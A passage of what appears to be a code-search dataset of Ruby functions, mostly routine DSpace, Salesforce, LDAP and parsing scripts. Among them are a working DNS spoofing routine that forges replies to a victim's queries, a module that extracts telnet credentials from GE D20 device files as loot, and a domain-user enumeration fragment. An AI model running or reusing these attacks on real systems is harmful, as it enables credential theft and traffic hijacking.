| sort >> #{output}; rm 3`\n puts \"\"\n puts \"[+] Success! All users which are members of the #{domain} domain have been stored in #{output}\"\nend", "title": "" }, { "docid": "363bdf00cc5ec8acc182893a0ad3c25c", "score": "0.47646224", "text": "def dn_ous\n unless @dn_ous\n @dn_ous = []\n @ldap_object.dn.split(/,/).each do |entry|\n @dn_ous.push entry.gsub(/OU=/, '').gsub(/CN=/,'') if entry =~ /OU=/ or entry == 'CN=Users'\n end\n end\n @dn_ous\n end", "title": "" }, { "docid": "cc6ed53d4de0eb7561d47583faed6df5", "score": "0.47637337", "text": "def compareDepartmentMetadataWithOwningCollection(fix)\n setLogger(\"#{ENV['DSPACE_HOME']}/log/compareDepartmentWithCollectionName.log\")\n\n collections = DSpace.fromString($root).collections\n\n # colmap - maps shortened collection's name to collection pointers\n colmap = {}; collections.each { |c| colmap[shortCollectionName(c)] = c}\n #\n # go over all archived items with the given year_metadata_field equal to year\n items = getClassYearItems\n\n mismatch = 0\n nerror = 0\n multival = 0\n items.each do |i|\n begin\n if i.archived?\n ownerName = shortCollectionName(i.getOwningCollection)\n\n vals = i.getMetadata('pu', 'department', nil, '*')\n if vals.length > 1\n $logger.warn(\"ITEM #{i.getHandle}: MULTIPLE pu.department values; checking first only\")\n multival += 1\n end\n val = vals[0]\n if ownerName == val.value\n $logger.info(\"ITEM #{i.getHandle}: pu.department='#{val.value}' matches collection '#{ownerName}'\")\n else\n mismatch += 1\n $logger.info(\"ITEM #{i.getHandle}: pu.department='#{val.value}' DOES NOT match collection '#{ownerName}'\")\n if fix\n if vals.length == 1\n i.setMetadataSingleValue('pu', 'department', nil, '*', ownerName)\n i.update\n $logger.info(\"ITEM #{i.getHandle}: pu.department='#{val.value}' FIXED to match collection '#{ownerName}'\")\n else\n $logger.error(\"ITEM #{i.getHandle}: pu.department='#{val.value}' has other values NOT FIXING\")\n end\n end\n end\n end\n end\n end\n $logger.info(\"SUMMARY items with multiple department values #{multival}\")\n $logger.info(\"SUMMARY mismatches #{mismatch} \")\n $logger.info(\"SUMMARY errors #{nerror} \")\nend", "title": "" }, { "docid": "c70435fc213afde4641300895c20cd1c", "score": "0.4762104", "text": "def parseusers(f, userentryptr)\n f.seek(userentryptr + 0x14)\n dstart = makefptr(f.read(4))\n f.seek(userentryptr + 0x1C)\n numentries = makelong(f.read(4))\n f.seek(userentryptr + 0x60)\n headerlen = makeword(f.read(2))\n f.seek(userentryptr + 40) # sorry decimal\n entrylen = makeword(f.read(2)) # sorry this is decimal\n logins = Rex::Text::Table.new(\n 'Header' => \"D20 usernames, passwords, and account levels\\n(use for TELNET authentication)\",\n 'Indent' => 1,\n 'Columns' => [\"Type\", \"User Name\", \"Password\"])\n\n 0.upto(numentries -1).each do |i|\n f.seek(dstart + headerlen + i * entrylen)\n accounttype = makeword(f.read(2))\n f.seek(dstart + headerlen + i * entrylen + 2)\n accountname = makestr(f, dstart + headerlen + i * entrylen + 2)\n f.seek(dstart + headerlen + i * entrylen + 2 + 22)\n accountpass = makestr(f, dstart + headerlen + i * entrylen + 2 + 22)\n if accountname.size + accountpass.size > 44\n print_error(\"Bad account parsing at #{dstart + headerlen + i * entrylen}\")\n break\n end\n logins << [accounttype, accountname, accountpass]\n report_cred(\n ip: datastore['RHOST'],\n port: 23,\n service_name: 'telnet',\n user: accountname,\n password: accountpass,\n proof: accounttype\n )\n end\n if not logins.rows.empty?\n loot = store_loot(\n \"d20.user.creds\",\n \"text/csv\",\n datastore['RHOST'],\n logins.to_s,\n \"d20_user_creds.txt\",\n \"General Electric TELNET User Credentials\",\n datastore['RPORT']\n )\n print_line logins.to_s\n print_status(\"Loot stored in: #{loot}\")\n else\n print_error(\"No data collected\")\n end\n end", "title": "" }, { "docid": "f03bb9cba66d186c60932ec33cbb305f", "score": "0.47478727", "text": "def payer_reason_codes_for_nyu\n (facility.sitecode.to_s.strip == '00549' && eob.patient_account_number.to_s[0..2] == 'SAL') ? {0 => 'REF'} : nil\n end", "title": "" }, { "docid": "cd0437c1801138cd48c56a9f05deb3bb", "score": "0.47461015", "text": "def alias_creator (str)\n# downcase all characters incase the name had initial caps.\nstr = str.downcase\t\n\n# create vowel string for cross checking each character (I ADDED 3 REPEATING VOWEL SEGMENTS TO PREVENT EDGE CASE FROM BREAKING WHEN ENCODING A VOEWEL AT THE END OF THE STRING LIKE U in \"AEIOU\") \nvowels = \"aeiouaeiouaeiou\"\n# create consonant string for cross checking each character\nconsonants = \"bcdfghjklmnpqrstvwxz\"\n# create empty strings that encoded first and last names will be stored in.\nname_alias = \"\"\n# create empty string to create an encoded full name \nspy_alias = \"\"\n=begin encoding names \n 1.taking the first name string and iterate through each character \n 2. check if vowels string includes current character in first name string\n 3. if it does access the letter in vowels string by its index, increment that index by one\n add that new letter to the alias string. \n 4. if the current character is a consonant it will go through the same process but using the consonants string\n 5. if the current character is a space a space will be added to the encoded string. \n=end\n \n str.each_char do |char| \n \tif char == \" \"\n name_alias+= \" \"\n\n \telsif vowels.include?(char)\n \t\tname_alias += vowels[vowels.index(char).next]\n \n elsif consonants.include?(char)\n \tname_alias += consonants[consonants.index(char).next]\n\n \n\n end \n \t\n end\n # check if the string that was encoded was a full name or just a first or last name\n # if it is a full name. sperate the first and last name and reverse the order (Lastname Firstname)\n \n if name_alias.include?(\" \")\n swap_name = name_alias.split(\" \")\n spy_alias = swap_name[1] + \" \" +swap_name[0]\n else spy_alias = name_alias\n end \n \n \n return spy_alias\n\n\nend", "title": "" }, { "docid": "520140b4d13e57e507147e36914813bf", "score": "0.47292444", "text": "def drac\n \n # Initializa output\n @o = ''\n \n colo_name = params[:colo]\n record_type = params[:record_type]?params[:record_type]:\"a\"\n \n colo = Colo.find(:first, :conditions => \"name = '#{colo_name}'\")\n\n if colo.nil?\n @o = \"ERROR: Need do supply a colo name. Possible choices are \" + Colo.find(:all,:select => :name).sort{|a,b| a.name<=>b.name}.collect{|a| a.name}.join(\",\")\n \n else\n \n assets = Asset.find(:all, :conditions => \"colo_id = #{colo.id}\")\n \n # Loop through asset, find their drac and output A and PTR record.\n @o += \";DRAC in #{colo.name}\\n\"\n for asset in assets.sort{|a,b| a.name<=>b.name}\n\n # If asset have drac interface and is a server\n if ! asset.drac_interface.nil? and asset.resource_type == \"Server\"\n \n if record_type == \"a\"\n \n short = asset.name.split(\".\")[0] + \"-d\" \n @o += \"#{short}\\tA\\t#{asset.drac_interface.ip_to_string}\\n\"\n \n elsif record_type == \"ptr\"\n # Get the name split up, we need to add \"-d\" to the name\n name_arr = asset.name.split(\".\")\n ptr_name = name_arr[0] + \"-d\"\n # concatenate rest of the name\n (1..name_arr.length - 1).each do |i|\n ptr_name += \".\" + name_arr[i]\n end\n \n # Get the ip converted to string, then put them in right order for PTR record\n ip_string = asset.drac_interface.ip_to_string \n ptr_ip = ip_string.split(\".\")[3] + \".\" + ip_string.split(\".\")[2]\n\n \n @o += \"#{ptr_ip}\\tPTR\\t#{ptr_name}.\\n\"\n end\n end\n end\n @o += \";END DRAC in #{colo.name}\\n\"\n \n end\n\n # Render without layout so we can use it to generate dns\n render :partial => 'default', :layout => false, :object => @o\n\n \n end", "title": "" }, { "docid": "80d8ce67f567a733646bccdaad4a8af0", "score": "0.4728313", "text": "def badish\n# Post process each bad entry to match against the profesor names in a regular expression fashion\nbad.each do |item|\n # unpack\n id = materias[item][0]\n rfc = materias[item][3]\n p_name = materias[item][4]\n #puts materias[item].inspect if (DEBUG)\n\n #name = []\n profesores.each do |profesor|\n # normalize string and split into words\n name = profesor[1].chomp.upcase.gsub(/\\s+/,' ').gsub(/(M\\.[ICAG]|L\\.A|I\\.Q|ING|FIS|MTRO|MRTO|DRA?)\\.?$/,\"\").split(\" \")\n # match the known name against a regular expression\n if (name.length >= 5)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1]+\" \"+name[2]+\" \"+name[3]+\" \"+name[4])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n if (name.length >= 4)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1]+\" \"+name[2]+\" \"+name[3])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n if (name.length >= 3)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1]+\" \"+name[2])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n if (name.length >= 2)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n end\nend\nend", "title": "" }, { "docid": "aa4d8178a774997572bf7650a9afd2c9", "score": "0.47253087", "text": "def getOwnerByCampaignAssignment(campaignName)\n campaign = @helper.getSalesforceRecordByRestforce(\"SELECT id,Name,IsActive,City__c,Lead_Owner__c,Email_Address__c FROM Campaign Where Name = '#{campaignName}'\")\n if (!campaign.eql? nil) && (campaign.size.eql? 1) then\n allCriteriasChecked = false\n if campaign[0].fetch('Lead_Owner__c') != nil then\n puts \"leadOwner found\" \n if campaign[0].fetch('Lead_Owner__c').start_with? \"00G\" then\n puts \"Owner assigned is Queue\"\n group = checkRecordCreated(\"Group\", \"SELECT Id,Name FROM Group WHERE Id = '#{campaign[0].fetch('Lead_Owner__c')}'\")\n if group.nil? then \n puts \"No record found with given Group\"\n allCriteriasChecked = true\n else\n puts \"owner--> #{campaign[0].fetch('Lead_Owner__c')}\"\n puts \"8888888888888888\"\n return group[0].fetch('Id')\n end\n else\n puts \"Owner assigned is User\"\n user = checkRecordCreated(\"User\", \"SELECT Id,Name FROM User WHERE Id = '#{campaign[0].fetch('Lead_Owner__c')}' and IsActive = true\")\n if user.nil? then \n puts \"No active record found with given user\"\n allCriteriasChecked = true\n else\n puts \"owner--> #{campaign[0].fetch('Lead_Owner__c')}\"\n return user[0].fetch('Id')\n end \n end\n\n end\n \n if campaign[0].fetch('Email_Address__c') != nil then\n puts \"owner--> #{campaign[0].fetch('Email_Address__c')}\"\n building = fetchBuildingDetail('Email__c',campaign[0].fetch('Email_Address__c'))\n #puts building\n buildingId = nil\n if building[0].fetch('Id').size == 18 then \n buildingId = building[0].fetch('Id').chop().chop().chop()\n puts buildingId\n end\n #puts building[0].fetch('Id').size\n #puts building[0].fetch('Id').chop().chop().chop()\n #puts \"*****************************************\"\n #puts @salesConsoleSetting[1]\n #puts \"*****************************************\"\n #puts JSON.parse(@salesConsoleSetting[1][\"Data__c\"])\n #puts \"*****************************************\"\n\n JSON.parse(@salesConsoleSetting[1][\"Data__c\"]).each do |setting|\n #puts setting['Buildings'].class\n #puts setting['Buildings']\n #puts \"@@@@@@@@@@@@@@@@@@@@@@@@\"\n\n #puts setting['Buildings'].include?(buildingId)\n if !setting['Buildings'].nil? && setting['Buildings'].include?(\"#{buildingId}\") then\n puts \"building found in--->\"\n\n if setting['userId'].start_with? \"00G\" then\n puts \"Owner assigned is Queue\"\n group = checkRecordCreated(\"Group\", \"SELECT Id,Name FROM Group WHERE Id = '#{setting['userId']}'\")\n puts \"group#{group}\"\n if group.nil? then \n puts \"No record found with given Group\"\n allCriteriasChecked = true\n else\n puts \"owner--> #{setting['userId']}\"\n return group[0].fetch('Id')\n end\n else\n puts \"Owner assigned is User\"\n user = checkRecordCreated(\"User\", \"SELECT Id,Name FROM User WHERE Id = '#{setting['userId']}' and IsActive = true\")\n if user.nil? then \n puts \"No active record found with given user\"\n allCriteriasChecked = true\n else\n puts \"owner--> #{setting['userId']}\"\n return user[0].fetch('Id')\n end \n end\n #puts setting\n #puts setting['Buildings']\n #puts setting['userId']\n #if setting['userId'].start_with? \"00G\" then\n # puts \"Owner assigned is Queue\"\n # return setting['userId']\n #end\n #break\n end\n end\n end\n \n if campaign[0].fetch('City__c') != nil then\n #puts \"12112121212121212454545454\"\n #puts \"owner--> #{campaign[0].fetch('City__c')}\"\n JSON.parse(@salesConsoleSetting[1][\"Data__c\"]).each do |setting|\n #puts setting['Buildings'].class\n #puts setting['Buildings']\n #puts \"@@@@@@@@@@@@@@@@@@@@@@@@\"\n\n #puts setting['Buildings'].include?(buildingId)\n if !setting['City'].nil? && setting['City'].include?(\"#{campaign[0].fetch('City__c')}\") then\n puts \"city found in--->\"\n\n if setting['userId'].start_with? \"00G\" then\n puts \"Owner assigned is Queue\"\n group = checkRecordCreated(\"Group\", \"SELECT Id,Name FROM Group WHERE Id = '#{setting['userId']}'\")\n puts \"group#{group}\"\n if group.nil? then \n puts \"No record found with given Group\"\n allCriteriasChecked = true\n else\n puts \"owner--> #{setting['userId']}\"\n return group[0].fetch('Id')\n end\n else\n puts \"Owner assigned is User\"\n user = checkRecordCreated(\"User\", \"SELECT Id,Name FROM User WHERE Id = '#{setting['userId']}' and IsActive = true\")\n if user.nil? then \n puts \"No active record found with given user\"\n allCriteriasChecked = true\n else\n puts \"owner--> #{setting['userId']}\"\n return user[0].fetch('Id')\n end \n end\n end\n end\n end\n\n if allCriteriasChecked || (campaign[0].fetch('Lead_Owner__c').nil? && campaign[0].fetch('Email_Address__c').nil? && campaign[0].fetch('City__c').nil?) then\n puts JSON.parse(@salesConsoleSetting[2][\"Data__c\"])\n puts \"owner--> #{JSON.parse(@salesConsoleSetting[2][\"Data__c\"])['UnassignedNMDUSQueue']}\"\n return JSON.parse(@salesConsoleSetting[2]['Data__c'])['UnassignedNMDUSQueue']\n end\n end\n end", "title": "" }, { "docid": "4ad19d3270d712a0b1427d62090e5438", "score": "0.47183242", "text": "def ibu; end", "title": "" }, { "docid": "b47de447cd51ceb5b2c6589b6090d0e8", "score": "0.47149155", "text": "def add_ou(agency)\n #creates an organizational unit and places an agency inside\n begin\n entry = {\n 'objectclass' => ['organizationalUnit'],\n 'ou' => [agency]\n }\n admin_bind.add(\"ou=#{entry['ou'][0]}, dc=localhost, dc=localdomain\", entry)\n return(true)\n rescue LDAP::ResultError => error\n return(false)\n end\nend", "title": "" }, { "docid": "cf00ceccb88470fc766b51cf1d76b31d", "score": "0.4713505", "text": "def dnsspoof_run\n puts \"Waiting for DNS Packets............:\"\n iface = @interface\n capture_session = PacketFu::Capture.new(:iface => iface,\n :start => true,\n :promisc => true,\n :filter => \"udp and port 53 and src #{@addr}\")\n #Capture all packets from port 53 and from the source defined earlier\n capture_session.stream.each do |p|\n pkt = Packet.parse(p)\n dnsCount = pkt.payload[2].to_s+pkt.payload[3].to_s\n if dnsCount=='10'\n @domainName = getDomainName(pkt.payload[12..-1])\n puts \"DNS Request for \" + @domainName\n \n #Split and Generate the bytes for the IP we defined earlier\n ipToSpoof = @spoofIP.split('.')\n spoofIPHex = [ipToSpoof[0].to_i, ipToSpoof[1].to_i, ipToSpoof[2].to_i, ipToSpoof[3].to_i].pack('c*')\n\n #create query response (raw packets)\n udp_pkt = UDPPacket.new(:config => @myInfo)\n udp_pkt.udp_src = pkt.udp_dst\n udp_pkt.udp_dst = pkt.udp_src\n udp_pkt.eth_daddr = @victimMac\n udp_pkt.ip_daddr = @addr\n udp_pkt.ip_saddr = pkt.ip_daddr\n \n #Transaction ID (must be same for request and response)\n udp_pkt.payload = pkt.payload[0,2]\n \n #DNS header before Domain Name\n udp_pkt.payload += \"\\x81\"+\"\\x80\"+\"\\x00\"+\"\\x01\"+\"\\x00\"+\"\\x01\"\n udp_pkt.payload += \"\\x00\"+\"\\x00\"+\"\\x00\"+\"\\x00\"\n \n #split the domaine name by the \".\" ex. www.google.com\n @domainName.split('.').each do |domainString|\n #put length before each part of the domain\n udp_pkt.payload += domainString.length.chr\n #section of domain\n udp_pkt.payload += domainString\n end\n \n #DNS header after domain name\n udp_pkt.payload += \"\\x00\"+\"\\x00\"+\"\\x01\"+\"\\x00\"+\"\\x01\"+\"\\xc0\"\n udp_pkt.payload += \"\\x0c\"+\"\\x00\"+\"\\x01\"+\"\\x00\"+\"\\x01\"\n #DNS TTL and Length\n udp_pkt.payload += \"\\x00\"+\"\\x00\"+\"\\x02\"+\"\\x56\"+\"\\x00\"+\"\\x04\"\n #our ip to send to\n udp_pkt.payload += spoofIPHex\n #recalculation of fields\n udp_pkt.recalc\n #send to interface\n udp_pkt.to_w(@interface);\n end\n end\nend", "title": "" }, { "docid": "7a1cf69995c4a0249dee29b0114a3a5c", "score": "0.47051483", "text": "def generateObjectFromOrder_RYAN(pdfName)\n o={}\n o[:communityType] = 'RyanHomes'\n o[:fileName] = pdfName\n o[:changeOrders] = []\n currentChangeOrderDate = nil\n currentChangeOrderNumber = nil\n tmpChangeOrderObj = nil \n\n reader = PDF::Reader.new(pdfName)\n\n reader.pages.each{|x| #Iterate over each of the pages in the reader\n x.text.split(/\\n/).each{|y| #iterate over each line in the page\n\n if y[\"CHANGE ORDER\"] && y[\"Date:\"] #Does \"CHANGE ORDER\" occur in the string y\n if tmpChangeOrderObj.nil? == false && tmpChangeOrderObj.keys.count > 2\n o[:changeOrders] << tmpChangeOrderObj\n end\n\n currentChangeOrderDate = y.split(\"|\")[1] #we'll change this later for dates\n begin\n currentChangeOrderDate = Date.strptime(currentChangeOrderDate[currentChangeOrderDate.index(\"Date:\")+5...-1].strip,'%m/%d/%Y')\n rescue\n currentChangeOrderDate = \"FAILED TO PARSE DATE\"\n end\n\n currentChangeOrderNumber = y.split(\"|\")[0]\n tmpChangeOrderObj = {} \n tmpChangeOrderObj[:ChangeOrderNumber] = currentChangeOrderNumber\n tmpChangeOrderObj[:ChangeOrderDate] = currentChangeOrderDate\n end\n\n if currentChangeOrderDate.nil? then\n if y[\"KFK\"] #If the current line contains \"KFK\"\n o[:KitchenSink] = \"11444\"\n end\n\n if y[\"KFL\"] #If the current line contains \"KFL\"\n o[:KitchenSink] = \"11600\"\n end\n if y[\"999QK00\"]\n #We’re definately in a color line\n o[:ColorCode] = y.split[8..-1]*\" \"\n end\n\n if y[\"APPLIANCE PKG FREESTANDING\"] #If the current line contains \"freestanding\"\n o[:CooktopCode] = \"freestanding\"\n end\n if y[\"4CB\"] #If the current line contains \"4CB\"\n o[:CooktopCode] = \"jgp329setss\"\n end\n if (y[\"4CC\"]|| y[\"4CF\"]) #If the current line contains \"4CC,4CF\"\n o[:CooktopCode] = \"jgp940sekss\"\n end\n if y[\"4CT\"] #If the current line contains \"4CT\"\n o[:CooktopCode] = \"pgp953setss\"\n end\n\n\n if y[\"FAUCET FIXTURES KITCHEN\"]\n if y[\"UPGRADE\"]\n #Faucet Fixtures Kitchen AND Upgrade\n o[:FaucetSpread] = 'faucet centered, handle 4\" to R, soap 4\" to R of handle' #faucet upgrade\n else\n #Faucet Fixtures Kitchen AND NOT Upgrade\n o[:FaucetSpread] = 'centered' #faucet standard\n end\n end\n else\n #we're in change orders\n if y[\"999QK00\"] \n tmpChangeOrderObj[:ColorCode] = y.split[5...-2]*\" \"\n end\n\n if y[\"APPLIANCE PKG FREESTANDING\"] \n tmpChangeOrderObj[:CooktopCode] = \"freestanding\"\n end\n if (y[\"4CC\"]|| y[\"4CF\"])\n tmpChangeOrderObj[:CooktopCode] = \"jgp940sekss\"\n end\n if y[\"4CB\"]\n tmpChangeOrderObj[:CooktopCode] = \"jgp329setss\"\n end\n if y[\"4CT\"]\n tmpChangeOrderObj[:CooktopCode] = \"pgp953setss\"\n end\n if y[\"KFK\"]\n tmpChangeOrderObj[:KitchenSink] = \"11444\"\n end\n if y[\"KFL\"]\n tmpChangeOrderObj[:KitchenSink] = \"11600\"\n end\n if y[\"9FD\"]\n tmpChangeOrderObj[:FaucetSpread] = \"standard\"\n end\n if y[\"9FE\"]\n tmpChangeOrderObj[:FaucetSpread] = \"upgrade\"\n end\n end\n \n\n }#x.text.split.each\n }#reader.pages.each\n return o\nend", "title": "" }, { "docid": "12a005a2cae81f70e71b817cb646474d", "score": "0.46990502", "text": "def deco_file; end", "title": "" }, { "docid": "470cee0d631e82d18987250b3b9658ea", "score": "0.4695945", "text": "def process_data(data)\n print_headline\n tmp = data.dup\n\n # TELNETコマンドを抽出しダンプする.\n tmp.gsub!(/#{IAC}(\n [#{DONT}#{DO}#{WONT}#{WILL}].|\n #{SB}.(#{IAC}#{IAC}|[^#{IAC}])*#{IAC}#{SE}|\n [#{NOP}-#{GA}#{0.chr}-#{239.chr}]\n )/xon){\n case $1[0].chr\n when DONT; print \"> IAC DONT #{$1[1]}\\n\"\n when DO ; print \"> IAC DO #{$1[1]}\\n\"\n when WONT; print \"> IAC WONT #{$1[1]}\\n\"\n when WILL; print \"> IAC WILL #{$1[1]}\\n\"\n when SB ; print \"> IAC SB #{$1[1]} #{$1[2..-3].dump} IAC SE\\n\"\n else ; print \"> IAC #{$1[1]}\\n\"\n end\n }\n\n # 残りの部分を出力.\n tmp.each { |line| print line.dump, \"\\n\" } if tmp.size > 0\n end", "title": "" }, { "docid": "669de651fd438179565865ae44aea81c", "score": "0.4682182", "text": "def parse_data_for_info(clean_inventory)\n\t\tmost_expensive = Hash.new\n\t\tlong_cds = @helpers.make_hoa\n\t\tbook_cd_authors = @helpers.make_hoh\n\n\t\tcounter,found_data,regx_search,search_info,names_with_years = setup_search_for_value(clean_inventory.keys)\n\n\n\t\tclean_inventory.each do |type,inventory|\n\t\t\tmost_expensive = get_most_expensive(type,inventory,most_expensive)\n\t\t\tlong_cds = get_long_cds(type,inventory,long_cds) if type == \"cd\"\n\t\t\tbook_cd_authors = get_book_cd_authors(type,inventory,book_cd_authors) unless type == \"dvd\"\n\t\t\tnames_with_years = search_for_value(counter,inventory,found_data,regx_search,search_info,type,type)\n\t\tend\n\t\tdup_book_cd_authors = get_dup_auths(book_cd_authors)\n\n\t\treturn most_expensive,long_cds,dup_book_cd_authors,names_with_years\n\tend", "title": "" }, { "docid": "b89695cad951c40a4ead12fc082c9644", "score": "0.46776736", "text": "def corp_lookup\n\n basedn = \"cn=users,dc=bigdatalab,dc=ibm,dc=com\"\n scope = Net::LDAP::SearchScope_WholeSubtree\n filter = \"(&(objectClass=person)(!(objectClass=computer))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))\"\n attrs = ['sAMAccountName','mail','pwdLastSet']\n\n ldap = Net::LDAP.new\n ldap.host = \"dc-0.bigdatalab.ibm.com\"\n ldap.port = \"389\"\n ldap.auth ENV['BIND_USER'], ENV['BIND_PASS']\n\n if !ldap.bind\n puts \"Problem with AD connection. Aborting!\"\n end\n \n ldap.search(:base => basedn, :scope => scope, :filter => filter, :attributes => attrs, :return_result => true) do |entry|\n\n acct = { \n :id => entry.sAMAccountName.first.to_s, \n :pwdays => 0,\n :notify => false,\n }\n\n if entry.respond_to? :mail\n acct[:mail] = entry.mail.first.to_s\n else\n acct[:mail] = \"im-bigdata-pgh-sysadmins@wwpdl.vnet.ibm.com\"\n end\n\n # Calculate the epoch time from windows time and get a number of days till expiration\n unix_time = (entry.pwdLastSet.first.to_i)/10000000-11644473600\n numDays = (unix_time + $maxPwAge - Time.now.to_i)/86400\n\n if numDays < 0\n next # These passwords have already expired.\n end\n\n # Send a notice 14, 7, 3, 2 and 1 days before expiration\n if [14, 7, 3, 2, 1].include? numDays\n acct[:notify] = true\n acct[:pwDays] = numDays\n end\n\n $accounts.push acct\n end\nend", "title": "" }, { "docid": "2d9aaca6ef07420ec68e1dcce6498b13", "score": "0.4666617", "text": "def mapToCollectionBasedOncertificateProgram\n setLogger(\"#{ENV['DSPACE_HOME']}/log/mapToCollectionBasedOncertificateProgram.log\")\n\n # colmap - maps shortened collection's name to collection pointers\n colmap = {}; DSpace.fromString($root).collections.each { |c| colmap[shortCollectionName(c)] = c}\n\n # go over all archived items with the given year_metadata_value equal to $year\n # and map to collections defined in pu.certificate metadata field\n nitems = 0\n narchived = 0\n nmapped = 0\n nerror = 0\n items = getClassYearItems\n items.each do |i|\n begin\n nitems += 1\n if i.archived?\n # add i to all collections indicated in its pu.department value IF collection is not already in that collection\n narchived += 1\n owners = i.getCollections\n $logger.debug \"#{i} in #{owners.collect { |o| o.getName}.inspect}\"\n i.getMetadata('pu', 'certificate', nil, '*').each do |val|\n map_to_col = colmap[val.value]\n if map_to_col\n if owners.include? map_to_col\n $logger.info(\"ITEM #{i.getHandle}: already in '#{map_to_col.getName}'\")\n else\n $logger.info(\"ITEM #{i.getHandle}: mapping to '#{map_to_col.getName}'\")\n map_to_col.addItem(i)\n DSpace.create(i).index(true)\n nmapped += 1\n end\n else\n $logger.error(\"ITEM #{i.getHandle}: could not find collection with name '#{val.value}'\")\n nerror += 1\n end\n end\n end\n rescue Exception => e\n $logger.error \"exception when processing item #{i}\"\n $logger.error e.inspect\n nerror += 1\n end\n end\n $logger.info(\"SUMMARY processed #{narchived} items out of #{nitems} items\")\n $logger.info(\"SUMMARY added #{nmapped} collection mappings\")\n $logger.info(\"SUMMARY encountered problems on #{nerror} items\")\nend", "title": "" }, { "docid": "5c2b62c686a6b9f81df49c0f9a379c24", "score": "0.46643007", "text": "def setup\t\t\r\n\t\t@notFoundHeaders = ['Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.1; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 3.0.30729; AskTbFWV5/5.12.2.16749; 978803803','Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.22) Gecko/20110902 Firefox/3.6.22 ( .NET CLR 3.5.30729) Swapper 1.0.4','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Sky Broadband; GTB7.1; SeekmoToolbar 4.8.4; Sky Broadband; Sky Broadband; AskTbBLPV5/5.9.1.14019)']\r\n\r\n\t\t@h1 = Hash.new\r\n\t\t@h1['user-agent'] = 'Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; SCH-M828C[3373773858] Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1'\r\n\t\t@h1['x-wap-profile'] = 'http://www-ccpp.tcl-ta.com/files/ALCATEL_one_touch_908.xml'\r\n\t\t@h1['match'] = 'AlcatelOT-908222'\r\n\r\n\t\t@h2 = Hash.new\r\n\t\t@h2['user-agent'] = 'Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; SCH-M828C[3373773858] Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1'\r\n\t\t@h2['match'] = 'SamsungSCH-M828C'\r\n\r\n\t\t@h3 = Hash.new\r\n\t\t@h3['x-wap-profile'] = 'http://www-ccpp.tcl-ta.com/files/ALCATEL_one_touch_908.xml'\r\n\t\t@h3['match'] = 'AlcatelOT-90822'\r\n\r\n\t\t@h4 = Hash.new\r\n\t\t@h4['user-agent'] = 'Mozilla/5.0 (Linux; U; Android 2.3.3; es-es; GT-P1000N Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1'\r\n\t\t@h4['x-wap-profile'] = 'http://wap.samsungmobile.com/uaprof/GT-P1000.xml'\r\n\t\t@h4['match'] = 'SamsungGT-P1000'\r\n\r\n\t\t@h5 = Hash.new\r\n\t\t@h5['user-agent'] = 'Opera/9.80 (J2ME/MIDP; Opera Mini/5.21076/26.984; U; en) Presto/2.8.119 Version/10.54'\r\n\t\t@h5['match'] = 'GenericOperaMini'\r\n\r\n\t\t@h6 = Hash.new\r\n\t\t@h6['user-agent'] = 'Opera/9.80 (iPhone; Opera Mini/6.1.15738/26.984; U; tr) Presto/2.8.119 Version/10.54'\r\n\t\t@h6['match'] = 'AppleiPhone'\r\n\r\n\t\t@h7 = Hash.new\r\n\t\t@h7['user-agent'] = 'Mozilla/5.0 (Linux; U; Android 2.1-update1; cs-cz; SonyEricssonX10i Build/2.1.B.0.1) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17'\r\n\t\t@h7['match'] = 'SonyEricssonX10I'\r\n\r\n\t\t@nokiaN95 = \"{\\\"general_vendor\\\":\\\"Nokia\\\",\\\"general_model\\\":\\\"N95\\\",\\\"general_platform\\\":\\\"Symbian\\\",\\\"general_platform_version\\\":\\\"9.2\\\",\\\"general_browser\\\":\\\"\\\",\\\"general_browser_version\\\":\\\"\\\",\\\"general_image\\\":\\\"nokian95-1403496370-0.gif\\\",\\\"general_aliases\\\":[],\\\"general_eusar\\\":\\\"0.50\\\",\\\"general_battery\\\":[\\\"Li-Ion 950 mAh\\\",\\\"BL-5F\\\"],\\\"general_type\\\":\\\"Mobile\\\",\\\"general_cpu\\\":[\\\"Dual ARM 11\\\",\\\"332MHz\\\"],\\\"design_formfactor\\\":\\\"Dual Slide\\\",\\\"design_dimensions\\\":\\\"99 x 53 x 21\\\",\\\"design_weight\\\":\\\"120\\\",\\\"design_antenna\\\":\\\"Internal\\\",\\\"design_keyboard\\\":\\\"Numeric\\\",\\\"design_softkeys\\\":\\\"2\\\",\\\"design_sidekeys\\\":[\\\"Volume\\\",\\\"Camera\\\"],\\\"display_type\\\":\\\"TFT\\\",\\\"display_color\\\":\\\"Yes\\\",\\\"display_colors\\\":\\\"16M\\\",\\\"display_size\\\":\\\"2.6\\\\\\\"\\\",\\\"display_x\\\":\\\"240\\\",\\\"display_y\\\":\\\"320\\\",\\\"display_other\\\":[],\\\"memory_internal\\\":[\\\"160MB\\\",\\\"64MB RAM\\\",\\\"256MB ROM\\\"],\\\"memory_slot\\\":[\\\"microSD\\\",\\\"8GB\\\",\\\"128MB\\\"],\\\"network\\\":[\\\"GSM850\\\",\\\"GSM900\\\",\\\"GSM1800\\\",\\\"GSM1900\\\",\\\"UMTS2100\\\",\\\"HSDPA2100\\\",\\\"Infrared\\\",\\\"Bluetooth 2.0\\\",\\\"802.11b\\\",\\\"802.11g\\\",\\\"GPRS Class 10\\\",\\\"EDGE Class 